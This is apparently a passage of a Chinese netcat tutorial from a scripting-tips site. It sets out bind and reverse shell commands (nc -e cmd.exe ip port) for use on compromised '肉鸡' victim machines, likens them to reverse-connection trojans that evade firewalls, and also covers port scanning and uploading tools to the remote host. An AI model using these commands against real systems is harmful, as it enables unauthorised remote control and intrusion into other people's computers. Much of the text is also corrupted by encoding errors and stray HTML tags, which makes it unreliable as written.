本地機(jī)： nc -l -p port 或 nc -l -v -p port
目標(biāo)機(jī)：nc -e cmd.exe ip port
參數(shù)解釋?zhuān)?br />
-l、-p兩個(gè)參數(shù)已經(jīng)解釋過(guò)了
-e；作用就是程序定向
-t：以telnet的形式來(lái)應(yīng)答
例子
nc -l -p 5277 -t -e cmd.exe
//千萬(wàn)不要運(yùn)行在自己的機(jī)器上，如果運(yùn)行了，你機(jī)器就會(huì)變成一臺(tái)TELNET的服務(wù)器了。
命令解釋?zhuān)?br />
監(jiān)聽(tīng)本地端口5277的入站信息，同時(shí)將CMD.exe這個(gè)程序，重定向到端口5277上，當(dāng)有人連接的時(shí)候，就讓程序CMD.exe以TELNET的形式來(lái)響應(yīng)連接要求。說(shuō)白了，其實(shí)就是讓他成為一臺(tái)TELNET的肉雞，所以這個(gè)命令要運(yùn)行在你的肉雞上。
例如用法：
local machine：nc -l -p port ( or nc -l -v -p port )
remote machine：nc -e cmd.exe ip port
大家知道灰鴿子和神偷吧，這兩款工具都是利用了反彈端口型的木馬，
什么叫反彈端口？
就是說(shuō)，當(dāng)對(duì)方中馬后，不用你主動(dòng)和對(duì)方連接，也就是說(shuō)不用從你的client端向?qū)Ψ街鳈C(jī)上運(yùn)行的server端發(fā)送請(qǐng)求連接，而是對(duì)方主動(dòng)來(lái)連接你這樣就可以使很多防火墻失效，因?yàn)楹芏喾阑饓Χ疾粰z查出站請(qǐng)求的。
這里這兩個(gè)命令結(jié)合在一起后，于那兩款木馬可以說(shuō)有異曲同工之效。
本地運(yùn)行：nc -l -p 5277 （監(jiān)聽(tīng)本地5277端口）或者 nc -l -v -p 5277
然后在遠(yuǎn)程機(jī)器上，想辦法運(yùn)行 nc -e cmd.exe ip 5277
（你可別真的打“ip”在肉雞上?。┮颍瑇xx.xxx.xxx.xxx這樣?。?br />
這樣就是反彈~~在本地機(jī)器上得到了一個(gè)SHELL
命令3：掃描端口
nc -v ip port
nc -v -z ip port-port
nc -v -z -u ip port-port
參數(shù)解釋?zhuān)?br />
-z：將輸入輸出關(guān)掉，在掃描時(shí)使用
nc -v ip port
//這個(gè)命令是針對(duì)某一個(gè)端口進(jìn)行掃描
例如：
nc -v ip 135
//掃描遠(yuǎn)程主機(jī)的135端口，這樣獲得了該端口的一些簡(jiǎn)單信息，但是針對(duì)某些端口，我們還可以獲得更多的信息
例如：80端口
nc -v ip 80 然后使用get方法來(lái)獲得對(duì)方的WEB服務(wù)器的信息
nc -v -z ip port-port
//這個(gè)命令是用來(lái)掃描的一個(gè)命令，這個(gè)命令用于快速掃描TCP端口，而port-port則是指定了掃描的端口范圍
例如：
nc -v -z ip 1-200
//可以看到我機(jī)器上的1-200的TCP端口的開(kāi)放情況
nc -v -z -u ip port-port
//這個(gè)命令比上個(gè)命令多了個(gè)-u，這個(gè)命令的作用仍然是掃描端口，只是多一個(gè)-u的參數(shù)，是用來(lái)掃UDP端口的
例如：
nc -v -z -u ip 1-200 //這個(gè)命令就會(huì)掃1-200的UDP端口
命令4：傳送文件（HOHO，I LIKE）
LOCAL MACHINE：nc -v -n ip port < x:\svr.exe
REMOTE MACHINE：nc -v -l -p port > y:\svr.exe
參數(shù)解釋?zhuān)?br />
-n：指定數(shù)字的IP地址
這兩個(gè)命令結(jié)合起來(lái)是用來(lái)傳送文件的
首先，在遠(yuǎn)程機(jī)上運(yùn)行命令：
nc -v -l -p 5277 > c:\pulist.exe
這個(gè)命令還記的嗎？呵呵，是不是和監(jiān)聽(tīng)命令有點(diǎn)類(lèi)似，對(duì)，沒(méi)錯(cuò)，這個(gè)是監(jiān)聽(tīng)5277端口
并把接受到的信息數(shù)據(jù)寫(xiě)到c:\pulist.exe中
這時(shí)候在本地機(jī)上運(yùn)行
nc -v -n ip 5277 < e:\hack\pulist.exe
這個(gè)命令的意思就是，從本地E盤(pán)跟目錄中讀取pulist.exe文件的內(nèi)容，并把這些數(shù)據(jù)發(fā)送到ip的5277端口上
這樣遠(yuǎn)程主機(jī)就會(huì)自動(dòng)創(chuàng)建一個(gè)pulist.exe文件。
以上就是本文的全部?jī)?nèi)容，希望對(duì)大家的學(xué)習(xí)有所幫助，也希望大家多多支持腳本之家。
